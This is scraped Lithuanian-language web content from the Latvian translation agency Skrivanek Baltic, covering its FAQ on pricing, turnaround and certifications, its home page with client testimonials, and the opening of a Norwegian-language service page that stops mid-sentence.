rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti SKRIVANEK BALTIC BIURAS – KONTAKTAI  Lāčplēša iela 87C, Ryga, LV-1011 (Waze) P – Pn 9. 00–17. 30(+371) 26 382 680 ( WhatsApp ) VERTIMAI ŽODŽIU IR RAŠTU birojs@skrivanek. lv(+371) 67 240 364 (P – Pn 9. 00–17. 30) (+371) 26 181 355 (P – Pn 9. 00–17. 30) KALBŲ MOKYMŲ CENTRAS valodumacibas@skrivanek. lv(+371) 67 218 573 (P –Pn 9. 00–17. 30) (+371) 25 667 752 (P –Pn 9. 00–17. 30) REKVIZITAI SIA Skrivanek Baltic Įm. k. : 40003626172 PVM mokėtojo kodas: LV 40003626172 Bankas: Swedbank SWIFT kodas: HABALV22 Sąsk. Nr. : LV50HABA0551004427167 (EUR) MŪSŲ DARBUOTOJAI Vasilijs Ragačevičs Direktorius vasilijs@skrivanek. lv Ivars Treskovskis Vertimo projektų vadovas ivars@skrivanek. lv Aiga Matveja Mokymų centro vadovė macibas@skrivanek. lv Lelde Calmane Kokybės skyriaus vadovė lelde@skrivanek. lv Jānis Luns Rinkodaros vadovas janis. luns@skrivanek. lv Jeļena Lapoška Administracinio skyriaus vadovė jelena. laposka@skrivanek. lv Uldis Krūmiņš IT ir DAP uldis@skrivanek. lv Dana Laizāne Lokalizacijos ir dirbtinio intelekto projektų direktorius dana@skrivanek. lv --- > Klausimai ir atsakymai apie „Skrivanek Baltic“ kalbų paslaugų teikėjo paslaugas. Neradote atsakymo į savo klausimą? Susisiekite su mumis! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/biezak-uzdotie-jautajumi/ - Translation Priorities: Optional „Skrivanek Baltic“ yra sertifikuotas vertimų biuras, veikiantis Latvijoje nuo 2003 m. ir teikiantis aukščiausios kokybės kalbų paslaugas. „Skrivanek“ yra viena didžiausių kalbų paslaugų teikėjų pasaulyje, turinti daugiau nei 25 metų patirtį. Šiuo metu ji turi beveik penkiasdešimt filialų visame pasaulyje – JAV, Austrijoje, Belgijoje, Bulgarijoje, Čekijoje, Estijoje, Lietuvoje, Lenkijoje, Slovakijoje, Slovėnijoje ir Vokietijoje. 2007 m. duris atvėrė „Skrivanek“ mokymo centras, suteikiantis vaikams ir suaugusiesiems galimybę papildyti ir įgyti užsienio kalbų įgūdžių su kvalifikuotais ir kompetentingais mokytojais, taip pat gauti daugiau su kalbomis susijusios informacijos. Vertimo paslaugos kaina apskaičiuojama atsižvelgiant į dokumento žodžių skaičių, kalbų kombinaciją ir kitus veiksnius. Atsiųskite mums medžiagą ir prieš pradėdami vertimą būsite informuoti apie vertimo kainą. Nemokamo pasiūlymo gavimas neįpareigoja jūsų bendradarbiauti su mumis. Mokėjimo tvarka Verslo klientams siūlome sudaryti bendradarbiavimo sutartį, kurioje galime numatyti šias mokėjimo sąlygas: mūsų įmonėje pirmą kartą pateikdamas užsakymą klientas jį gauna tik apmokėjęs sąskaitą faktūrą; mokėjimas po kiekvieno projekto su sąskaita faktūra (paprastai rekomenduojama dideliems projektams); vėlesnis mokėjimas su sąskaita faktūra už laikotarpį (paprastai rekomenduojama klientams, turintiems daug mažų užsakymų); kartą per mėnesį sumokėti vėliau. Korporatyviniams klientams ir privatiems asmenims siūlome apmokėti sąskaitas mokėjimo kortelėmis arba grynaisiais pinigais mūsų biure, „PayPal“ mokėjimais, arba banko pavedimu. Taip, individualiems asmenims nurodome kainą, į kurią įskaičiuotas PVM. Verslo klientams, remiantis visuotinai pripažinta rinkos praktika, paslaugų kaina nurodoma be PVM. Jei dokumentas pateikiamas „Microsoft Word“ formatu, naudokite žodžių skaičiavimo funkciją (Review, Word Count). Jei dokumentas yra kito formato (spausdinimo, JPG, HTML, PHP, ASP ir t. t. ), atsiųskite mums failą (-us) el. paštu ir mes jums nemokamai atsiųsime šią informaciją. Prieš pradėdami darbą susitarsime dėl terminų. Galite tikėtis, kad iki 500 žodžių vertimas vidutiniškai užtruks vieną visą darbo dieną, o nuo 1000 žodžių – ne ilgiau kaip pusantros darbo dienos. Jei reikia, galime atlikti skubų vertimą. Bet kokiu elektroniniu formatu – jei dokumento nėra elektroniniu formatu, atsiųskite mums nuotraukas arba atvykite į mūsų biurą Lāčplēša gatvėje 87C. Galime išversti bet ką iš beveik bet kokio elektroninio formato, išsaugodami originalaus dokumento formatavimą. Net ir tais atvejais, kai reikalingos lokalizavimo paslaugos, laikomės kliento nurodymų ir konkrečios programinės įrangos nustatymų. Žinoma, su didžiausiu malonumu. „Skrivanek“ turi daug patirties ir žinių verčiant ir lokalizuojant įvairių svetainių ir turinio valdymo sistemų tekstus. Visais atvejais laikomasi profesionalaus požiūrio ir pasirenkamas geriausias sprendimas, kad būtų užtikrintas norimas rezultatas reikiamomis kalbų kombinacijomis. Nors daugiausia užklausų gauname iš įmonių, mielai bendradarbiaujame ir su privačiais asmenimis. Dažniausiai privačius asmenis domina notaro patvirtinti vertimai, kalbos mokymai bei stovyklos vaikams ir jaunimui. Mūsų komanda padės bet kokioje situacijoje. Abiejų profesijų atstovai puikiai moka kalbas, tačiau vertėjas raštu atlieka visų rūšių vertimus, o vertėjas žodžiu – vertimo žodžiu paslaugas –nuoseklųjį arba sinchroninį vertimą. Jei reikia, garantuojame, kad mūsų išverstas dokumentas atrodys lygiai taip pat, kaip ir originalas, arba suformatuosime jį pagal kliento reikalavimus, pasitelkę savo maketavimo (DTP) komandą. Kiek įmanoma, dirbame su originaliais dokumentais elektroniniu formatu, nekeisdami jų stiliaus ir formatavimo. Esame ISO 9001, EN 17100, ISO 27001, ISO EN 14001 ir ISO EN 18585 sertifikuota įmonė. Didelį dėmesį skiriame konfidencialumui, prisiimame atsakomybę už savo darbą ir neatidėliojame terminų! ir neatidėliojame terminų! Standarte EN 17100 nustatyti procesų valdymo reikalavimai, tiesiogiai skirti vertimo paslaugų teikėjams. Siekdami užtikrinti savo klientų ramybę, sudarėme profesinės civilinės atsakomybės sutartį su tarptautine draudimo bendrove „Colonnade Insurance SA“. Taip pat teikiame notaro arba biuro patvirtintus vertimus. Ne, visus vertimo paslaugų užsakymus priima ir prižiūri projekto vadovas, kuris yra tarpininkas tarp kliento ir vertėjo. „Skrivanek Baltic“ vertėjai raštu ir žodžiu verčia į daugiau nei 110 kalbų. Teikiame vertimo žodžiu ir raštu paslaugas, taip pat įvairius kalbinius sprendimus. Teikiame vertimo žodžiu paslaugas konferencijose, verslo susitikimuose, taip pat mūsų vertėjai žodžiu padeda vykstant posėdžiams. Vertimas raštu apima specializuotus ir bendrus įvairių sričių vertimus. Taip pat teikiame lokalizavimo, teksto adaptavimo ir kūrimo, maketavimo (DTP) ir kalbų mokymo paslaugas. Taip, labai dažnai savo partneriams net sudarome kalbų komandas – paslaugas teikia tas pats vertėjas raštu ar žodžiu, kuris su klientu dirbo ir anksčiau. Drąsiai pateikite atsiliepimus ir mes mielai suorganizuosime pakartotinį bendradarbiavimą. Mūsų nuolatiniai klientai taip pat turi savo projektų vadovą. Viskas priklauso nuo konkrečios sutarties ir jūsų reikalavimų. Tik jūs nuspręsite, kiek laiko vertėjas turėtų praleisti su jumis. Tais atvejais, kai išverstą galutinį rezultatą ketinama naudoti, pavyzdžiui, rinkodaros ar reklamos tikslais, neužtenka jį tiksliai išversti – tekstą dažnai reikia lokalizuoti, pakeisti idiomas ar kitus vaizdingus posakius, kad jis būtų lengvai suprantamas tikslinės kalbos vartotojams. Tokiais atvejais tekstai pritaikomi taip, kad visiškai atitiktų tikslinės auditorijos reikalavimus. Vertimo įrankiai (CAT) – tai vertėjams skirtos programos, padedančios vertimo procese. Vertimo įrankiai neapima kompiuterinio ar automatinio vertimo, tačiau jie leidžia atlikti darbą per trumpesnį laiką, užtikrina nuoseklų terminijos vartojimą, leidžia sutaupyti ir suteikia kitų privalumų. Šie įrankiai leidžia išsaugoti visus anksčiau išverstus tekstus, kad dviejų vienodų sakinių nereikėtų versti daugiau nei vieną kartą. Jie ypač tinka finansiniams ir techniniams tekstams, taip pat farmacijos dokumentams, interneto svetainėms ir programinei įrangai versti. Paprastai priimta, kad vertėjas gali išversti iki 2000 žodžių per dieną, o korektorius – ištaisyti iki 6000 žodžių per dieną. Paprastai techniniam vertimo projekto apdorojimui skiriama viena diena. Norint nustatyti didelių projektų terminą, vertėjų ir (arba) korektorių skaičius dauginamas iš darbo kiekio, kurį vienas asmuo gali atlikti per dieną (pvz. , du vertėjai gali išversti 4000 žodžių per dieną, penki vertėjai gali išversti 10 000 žodžių per dieną). Siekiant užtikrinti vienodą vertimo terminologiją ir stilių, įdarbinamas mažiausias įmanomas korektorių skaičius (pvz. , penki vertėjai ir vienas korektorius), išskyrus skubius užsakymus, kai reikia papildomų darbuotojų. Sinchroniniam vertimui reikia dviejų vertėjų kiekvienai kalbų porai (pvz. , renginyje, kuriame dalyvauja latviškai ir angliškai kalbantys dalyviai, sinchroninį vertimą užtikrins du vertėjai, kurie maždaug kas 20 minučių keisis iš vienos kalbos į kitą). Norint apskaičiuoti sinchroninio vertimo kabinų skaičių, reikia atsižvelgti į tai, kad du toje pačioje kabinoje sėdintys vertėjai žodžiu verčia į tą pačią kalbų porą (pavyzdžiui, jei renginyje reikia vertimo į keturias kalbų poras, reikės keturių kabinų su aštuoniais vertėjais žodžiu). Neradote atsakymo į savo klausimą? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2023 m. 0+ Kalbos specialistų 0 ISO sertifikatai RAŠYTINIAI VERTIMAI Siūlome aukštos kokybės vertimus reikiamu kalbų deriniu, užtikriname konfidencialumą ir terminus. Sužinoti daugiau VERTIMAI ŽODŽIU Teikiame visų rūšių vertimo žodžiu paslaugas daugiau kaip 40 kalbų ir įvairių kalbų derinių. Sužinoti daugiau LOKALIZACIJA Mes ne tik pateiksime vertimus, bet ir užtikrinsime, kad lokalizuotas produktas ar programinė įranga tinkamai veiktų. Sužinoti daugiau KALBŲ MOKYMASIS Siūlome praktinius kalbų mokymus įmonių ir įstaigų darbuotojams, taip pat asmenims, turintiems įvairaus lygio kalbų įgūdžių. Sužinoti daugiau TEIKIAME KALBINIUS SPRENDIMUS ĮVAIRIEMS SEKTORIAMS DAUGIAU NEI 300 KALBŲ KOMBINACIJŲ. Anglų kalba Čekų kalba Danų kalba Prancūzų kalba Graikų kalba Lietuvių kalba Norvegų kalba Estų kalba Italų kalba Rusų kalba Lenkų kalba Suomių kalba Ispanų kalba Vokiečių kalba Švedų kalba kitos kalbos Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  --- > Daugiau nei 25 metų patirtį turinti kalbų paslaugų teikėja: profesionalios ir kokybiškos kalbų paslaugos įmonėms ir privatiems asmenims. Susisiekite su mumis! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/ - Translation Priorities: Optional Užsienio kalbos dideliems tikslams Rinkoje daugiau nei 25 metus! Vertimas raštu Vertimas žodžiu Lokalizacija Kalbos mokymai VERTIMŲ BIURAS IR MOKYMO CENTRAS – JŪSŲ „SKRIVANEK“ 1 „Skrivanek“ yra viena didžiausių pasaulyje kalbų paslaugų teikėjų, turinti daugiau nei 25 metų patirtį kalbų paslaugų srityje. Šiuo metu įmonė turi beveik penkiasdešimt filialų visame pasaulyje. „Skrivanek Baltic“ Latvijoje veikia nuo 2003 m. ir savo klientams siūlo aukštos kokybės kalbų paslaugas. 0+ Įvairių kalbų kombinacijų 0+ MLN. Išverstų žodžių 2023 m. 0+ Kalbos specialistų 0 ISO sertifikatai TEIKIAME KALBINIUS SPRENDIMUS ĮVAIRIEMS SEKTORIAMS DAUGIAU NEI 300 KALBŲ KOMBINACIJŲ. Anglų kalba Arabų kalba Armėnų kalba Čekų kalba Danų kalba Prancūzų kalba Graikų kalba Gruzinų kalba Hindi kalba Lietuvių kalba Norvegų kalba Estų kalba Italų kalba Rusų kalba Kinų kalba Lenkų kalba Portugalų kalba Rumunų kalba Suomių kalba Ispanų kalba Vengrų kalba Vokiečių kalba Švedų kalba kitos kalbos Draudimas Statyba Žmogiškieji ištekliai (HR) Finansai ir bankininkystė IT ir žaidimai Žemės ūkis Teisė Miškininkystė Mechaninė inžinerija ir geležinkeliai Medicina ir klinikiniai tyrimai Gamyba Reklama ir rinkodara Prekyba Turizmas Valstybinės ir savivaldybių institucijos KĄ APIE MUS SAKO MŪSŲ KLIENTAI? KRKA D. D. Skrivanek“ darbuotojai yra paslaugūs, norintys patenkinti ir gerai supranta mūsų farmacinių vertimo užduočių ir vertimų iš įvairių kalbų kombinacijų specifiką. Užsakymai atliekami aukštu standartu nustatytu laiku ir atitinka aukščiausias profesines ir etines kompetencijas.  SANDOZ D. D. Mes rekomenduojame „Skrivanek Baltic“ kaip patikimą didelių projektų, reikalaujančių profesionalių kalbos paslaugų, partnerį.  ADIDAS BALTICS „Skrivanek“ darbuotojai yra paslaugūs ir gerai supranta mūsų vertimų iš baltų kalbų specifiką. „Adidas Baltic“ rekomenduoja kitoms įmonėms naudotis šios įmonės teikiamomis paslaugomis.  Reikia išversti tekstą ar renginį? Norite išmokti užsienio kalbą? Susisiekite su mumis ir gaukite individualų pasiūlymą! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti Dažniausiai užduodami klausimai „Skrivanek Baltic“ yra sertifikuotas vertimų biuras, veikiantis Latvijoje nuo 2003 m. ir teikiantis aukščiausios kokybės kalbų paslaugas. „Skrivanek“ yra viena didžiausių kalbų paslaugų teikėjų pasaulyje, turinti daugiau nei 25 metų patirtį. Šiuo metu ji turi beveik penkiasdešimt filialų visame pasaulyje – JAV, Austrijoje, Belgijoje, Bulgarijoje, Čekijoje, Estijoje, Lietuvoje, Lenkijoje, Slovakijoje, Slovėnijoje ir Vokietijoje. 2007 m. duris atvėrė „Skrivanek“ mokymo centras, suteikiantis vaikams ir suaugusiesiems galimybę papildyti ir įgyti užsienio kalbų įgūdžių su kvalifikuotais ir kompetentingais mokytojais, taip pat gauti daugiau su kalbomis susijusios informacijos. Vertimo paslaugos kaina apskaičiuojama atsižvelgiant į dokumento žodžių skaičių, kalbų kombinaciją ir kitus veiksnius. Atsiųskite mums medžiagą ir prieš pradėdami vertimą būsite informuoti apie vertimo kainą. Nemokamo pasiūlymo gavimas neįpareigoja jūsų bendradarbiauti su mumis. Mokėjimo tvarka Verslo klientams siūlome sudaryti bendradarbiavimo sutartį, kurioje galime numatyti šias mokėjimo sąlygas: mūsų įmonėje pirmą kartą pateikdamas užsakymą klientas jį gauna tik apmokėjęs sąskaitą faktūrą; mokėjimas po kiekvieno projekto su sąskaita faktūra (paprastai rekomenduojama dideliems projektams); vėlesnis mokėjimas su sąskaita faktūra už laikotarpį (paprastai rekomenduojama klientams, turintiems daug mažų užsakymų); kartą per mėnesį sumokėti vėliau. Korporatyviniams klientams ir privatiems asmenims siūlome apmokėti sąskaitas mokėjimo kortelėmis arba grynaisiais pinigais mūsų biure, „PayPal“ mokėjimais, arba banko pavedimu. Taip, individualiems asmenims nurodome kainą, į kurią įskaičiuotas PVM. Verslo klientams, remiantis visuotinai pripažinta rinkos praktika, paslaugų kaina nurodoma be PVM. Jei dokumentas pateikiamas „Microsoft Word“ formatu, naudokite žodžių skaičiavimo funkciją (Review, Word Count). Jei dokumentas yra kito formato (spausdinimo, JPG, HTML, PHP, ASP ir t. t. ), atsiųskite mums failą (-us) el. paštu ir mes jums nemokamai atsiųsime šią informaciją. Prieš pradėdami darbą susitarsime dėl terminų. Galite tikėtis, kad iki 500 žodžių vertimas vidutiniškai užtruks vieną visą darbo dieną, o nuo 1000 žodžių – ne ilgiau kaip pusantros darbo dienos. Jei reikia, galime atlikti skubų vertimą. Bet kokiu elektroniniu formatu – jei dokumento nėra elektroniniu formatu, atsiųskite mums nuotraukas arba atvykite į mūsų biurą Lāčplēša gatvėje 87C. Galime išversti bet ką iš beveik bet kokio elektroninio formato, išsaugodami originalaus dokumento formatavimą. Net ir tais atvejais, kai reikalingos lokalizavimo paslaugos, laikomės kliento nurodymų ir konkrečios programinės įrangos nustatymų. Žinoma, su didžiausiu malonumu. „Skrivanek“ turi daug patirties ir žinių verčiant ir lokalizuojant įvairių svetainių ir turinio valdymo sistemų tekstus. Visais atvejais laikomasi profesionalaus požiūrio ir pasirenkamas geriausias sprendimas, kad būtų užtikrintas norimas rezultatas reikiamomis kalbų kombinacijomis. Nors daugiausia užklausų gauname iš įmonių, mielai bendradarbiaujame ir su privačiais asmenimis. Dažniausiai privačius asmenis domina notaro patvirtinti vertimai, kalbos mokymai bei stovyklos vaikams ir jaunimui. Mūsų komanda padės bet kokioje situacijoje. Abiejų profesijų atstovai puikiai moka kalbas, tačiau vertėjas raštu atlieka visų rūšių vertimus, o vertėjas žodžiu – vertimo žodžiu paslaugas –nuoseklųjį arba sinchroninį vertimą. Jei reikia, garantuojame, kad mūsų išverstas dokumentas atrodys lygiai taip pat, kaip ir originalas, arba suformatuosime jį pagal kliento reikalavimus, pasitelkę savo maketavimo (DTP) komandą. Kiek įmanoma, dirbame su originaliais dokumentais elektroniniu formatu, nekeisdami jų stiliaus ir formatavimo. Esame ISO 9001, EN 17100, ISO 27001, ISO EN 14001 ir ISO EN 18585 sertifikuota įmonė. Didelį dėmesį skiriame konfidencialumui, prisiimame atsakomybę už savo darbą ir neatidėliojame terminų! ir neatidėliojame terminų! Standarte EN 17100 nustatyti procesų valdymo reikalavimai, tiesiogiai skirti vertimo paslaugų teikėjams. Siekdami užtikrinti savo klientų ramybę, sudarėme profesinės civilinės atsakomybės sutartį su tarptautine draudimo bendrove „Colonnade Insurance SA“. Taip pat teikiame notaro arba biuro patvirtintus vertimus. Ne, visus vertimo paslaugų užsakymus priima ir prižiūri projekto vadovas, kuris yra tarpininkas tarp kliento ir vertėjo. „Skrivanek Baltic“ vertėjai raštu ir žodžiu verčia į daugiau nei 110 kalbų. Teikiame vertimo žodžiu ir raštu paslaugas, taip pat įvairius kalbinius sprendimus. Teikiame vertimo žodžiu paslaugas konferencijose, verslo susitikimuose, taip pat mūsų vertėjai žodžiu padeda vykstant posėdžiams. Vertimas raštu apima specializuotus ir bendrus įvairių sričių vertimus. Taip pat teikiame lokalizavimo, teksto adaptavimo ir kūrimo, maketavimo (DTP) ir kalbų mokymo paslaugas. Taip, labai dažnai savo partneriams net sudarome kalbų komandas – paslaugas teikia tas pats vertėjas raštu ar žodžiu, kuris su klientu dirbo ir anksčiau. Drąsiai pateikite atsiliepimus ir mes mielai suorganizuosime pakartotinį bendradarbiavimą. Mūsų nuolatiniai klientai taip pat turi savo projektų vadovą. Viskas priklauso nuo konkrečios sutarties ir jūsų reikalavimų. Tik jūs nuspręsite, kiek laiko vertėjas turėtų praleisti su jumis. Tais atvejais, kai išverstą galutinį rezultatą ketinama naudoti, pavyzdžiui, rinkodaros ar reklamos tikslais, neužtenka jį tiksliai išversti – tekstą dažnai reikia lokalizuoti, pakeisti idiomas ar kitus vaizdingus posakius, kad jis būtų lengvai suprantamas tikslinės kalbos vartotojams. Tokiais atvejais tekstai pritaikomi taip, kad visiškai atitiktų tikslinės auditorijos reikalavimus. Vertimo įrankiai (CAT) – tai vertėjams skirtos programos, padedančios vertimo procese. Vertimo įrankiai neapima kompiuterinio ar automatinio vertimo, tačiau jie leidžia atlikti darbą per trumpesnį laiką, užtikrina nuoseklų terminijos vartojimą, leidžia sutaupyti ir suteikia kitų privalumų. Šie įrankiai leidžia išsaugoti visus anksčiau išverstus tekstus, kad dviejų vienodų sakinių nereikėtų versti daugiau nei vieną kartą. Jie ypač tinka finansiniams ir techniniams tekstams, taip pat farmacijos dokumentams, interneto svetainėms ir programinei įrangai versti. Paprastai priimta, kad vertėjas gali išversti iki 2000 žodžių per dieną, o korektorius – ištaisyti iki 6000 žodžių per dieną. Paprastai techniniam vertimo projekto apdorojimui skiriama viena diena. Norint nustatyti didelių projektų terminą, vertėjų ir (arba) korektorių skaičius dauginamas iš darbo kiekio, kurį vienas asmuo gali atlikti per dieną (pvz. , du vertėjai gali išversti 4000 žodžių per dieną, penki vertėjai gali išversti 10 000 žodžių per dieną). Siekiant užtikrinti vienodą vertimo terminologiją ir stilių, įdarbinamas mažiausias įmanomas korektorių skaičius (pvz. , penki vertėjai ir vienas korektorius), išskyrus skubius užsakymus, kai reikia papildomų darbuotojų. Sinchroniniam vertimui reikia dviejų vertėjų kiekvienai kalbų porai (pvz. , renginyje, kuriame dalyvauja latviškai ir angliškai kalbantys dalyviai, sinchroninį vertimą užtikrins du vertėjai, kurie maždaug kas 20 minučių keisis iš vienos kalbos į kitą). Norint apskaičiuoti sinchroninio vertimo kabinų skaičių, reikia atsižvelgti į tai, kad du toje pačioje kabinoje sėdintys vertėjai žodžiu verčia į tą pačią kalbų porą (pavyzdžiui, jei renginyje reikia vertimo į keturias kalbų poras, reikės keturių kabinų su aštuoniais vertėjais žodžiu). --- > Kalbų sprendimai daugiau nei 300 norvegų kalbos kombinacijų: vertimas raštu, vertimas žodžiu, lokalizavimas ir kt. Gaukite nemokamą pasiūlymą! - Published: 2022-07-13 - Modified: 2024-08-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-norvegu-valoda/ - Translation Priorities: Optional Ieškote kalbinių sprendimų norvegų kalba? Susisiekite su mumis! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Klientas *Privatus asmuoĮmonė Vardas ir pavardė *Telefono Pridėti Pašalinti Vardas ir pavardė *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti įmonės pavadinimas *Telefono Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti El. paštas *Kalbos derinys Pridėti Pašalinti Jūsų žinutėĮkelkite dokumentą, ne didesnį nei 20 MB, jei dokumentas viršija limitą, parašykite tai žinutėje ir mes su jumis susisieksime Click or drag files to this area to upload. You can upload up to 10 files. Kaip apie mus sužinojote? Kaip apie mus sužinojote? Esu Skrivanek klientasGoogle paieškaDraugo (-ės) / pažįstamo (s) rekomendacijaFacebookTwitterLinkedInInstagramReklamaParodaReklama spausdintoje žiniasklaidojeSu manimi susisiekė Skrivanek pardavimų vadybininkasKita *Sutinku, jog mano pateikti asmens duomenys būtų tvarkomi šios užklausos tikslais pagal „Skrivanek Baltic“ Privatumo politiką. Siųsti ISO sertifikatais patvirtinta kokybės ir konfidencialumo garantijaMūsų projektų vadovai kalba latvių, rusų, anglų, vokiečių ir lenkų kalbomis99 % klientų pasiūlymą gauna greičiau nei per 15 minučiųDaugiau nei 3 000 kalbos specialistų ir gimtakalbiųDaugiau nei 98 % klientų norėtų mus rekomenduoti savo draugams ir partneriamsKasmet mūsų biure išverčiama daugiau kaip 16 milijonų žodžių. NORVEGŲ KALBOS VERTIMAI KIEK KAINUOJA VERTIMAS Į NORVEGŲ KALBĄ? Vertimų iš / į norvegų kalbą kaina nustatoma kiekvienam užsakymui individualiai. Kainą sudaro kelios esminės sudedamosios dalys pagal dabartinį „Skrivanek Baltic“ kainoraštį. Nuosekliojo arba sinchroninio vertimo žodžiu kainą lemia paslaugos suteikimo laikas, kalbų kombinacija, pavyzdžiui, ar renginiui reikia latvių–norvegų kalbos vertėjo, o galbūt norvegų–anglų kalbos vertėjo. Vertimo raštu kainą lemia verčiamos medžiagos apimtis, vertimo terminai, specifinis teksto turinys, teksto pasikartojimai vertime, grafinis apdorojimas, formatavimas, korektūra ir kliento pasirinktos papildomos paslaugos. AR YRA VERTIMŲ KAINORAŠTIS? Taip, vertimo raštu, vertimo žodžiu (sinchroninio ir nuosekliojo), lokalizavimo ir adaptavimo iš norvegų kalbos ir į norvegų kalbą paslaugų kainoraštis yra neatsiejama mūsų bendradarbiavimo sutarties su klientais dalis. Vertimo projektų vadovai pateikia klientui išsamią informaciją apie vertimo kainą prieš pradedant vertimo projektą. Kiekvieno užsakymo kaina nustatoma individualiai pagal dabartinį „Skrivanek“ kainoraštį, atsižvelgiant į originalo teksto žodžių skaičių, vertimo dubliavimąsi ir kitus parametrus. Laukiame jūsų medžiagos vertimui el. paštu, kad galėtume pateikti pasiūlymą. ĮDOMŪS FAKTAI APIE NORVEGŲ KALBĄ Norvegų kalba – šiaurės germanų šeimos indoeuropiečių kalba, kuria daugiausia kalba norvegai. Tai gimtoji kalba maždaug 5 milijonams žmonių, kurių dauguma gyvena Norvegijoje. Norvegų kalba yra oficiali Norvegijos Karalystės kalba (kartu su vietinėmis Norvegijos samių kalbomis, kurios turi oficialios kalbos statusą kai kuriose Šiaurės Norvegijos ir Triondelago regionų savivaldybėse). Norvegų kalba vartojama valstybės ir vietos valdžios institucijose, žiniasklaidoje, švietime, kultūroje ir moksle. Yra dvi oficialios norvegų rašytinės kalbos: Bukmolas (Bokmål), kurios pagrindą sudaro danų kalbos leksika ir gramatika, bet norvegų kalbos fonetika, ir naujoji norvegų kalba – Niunoškas (Nynorsk), kurią XIX a. viduryje iš įvairių norvegų kalbos dialektų sukūrė kalbininkas Ivaras Osenas. Palyginti su kitomis šalimis, norvegų kalbos tarmės turi didelį prestižą visuomenėje. Kitose šalyse tarmės nyksta arba bent jau jų vartojimo sritys labai apribotos, o Norvegijoje net Stortingo parlamento nariai, ministrai, vyskupai ir mokslininkai kalba savo gimtąja tarme, net ir ta, kuri anksčiau turėjo žemą statusą. Dėl šių priežasčių Norvegija pastaraisiais metais sulaukė pripažinimo dėl tolerancijos kalbų atmainoms, kuri mažina nereikalingas socialines ir geografines kliūtis visuomenėje. Kiekviena rašto atmaina turi savo normas; šnekamoji kalba nėra normalizuota. Dialektai yra svarbi Norvegijos nacionalinio ir kultūrinio identiteto dalis. Bukmolų kalba yra labiau paplitusi, tačiau naująja norvegų kalba šneka 10–13 proc. norvegų. Naujosios norvegų kalbos vartotojų skaičius nėra didelis, tačiau, atsižvelgiant į aukštą socialinį ir kultūrinį tarmių prestižą, jis yra gana stabilus. Šia kalba daugiausia kalbama Vakarų ir Rytų Norvegijoje. Apie 12 % mokinių (2018 m. ) pasirinko mokytis šios kalbos, o apie 10–12 % mokinių ja kalba kasdieniame gyvenime. Iš 356 savivaldybių 90 savivaldybių dokumentuose naudojama naujoji norvegų kalba, 148 savivaldybės yra neutralios, o tai praktiškai reiškia, kad naudojama Bukmolų kalba (2020 m. duomenys). Mokiniai turi išmokti ir išlaikyti abiejų rašytinių kalbų egzaminą. Jie gali pasirinkti pagrindinę mokymo kalbą. Norvegų kalba išsivystė iš senosios norvegų kalbos (II–V a. po Kr. ) – runų rašto, kuriuo kalbėjo Skandinavijos gyventojai. Pagrindiniai 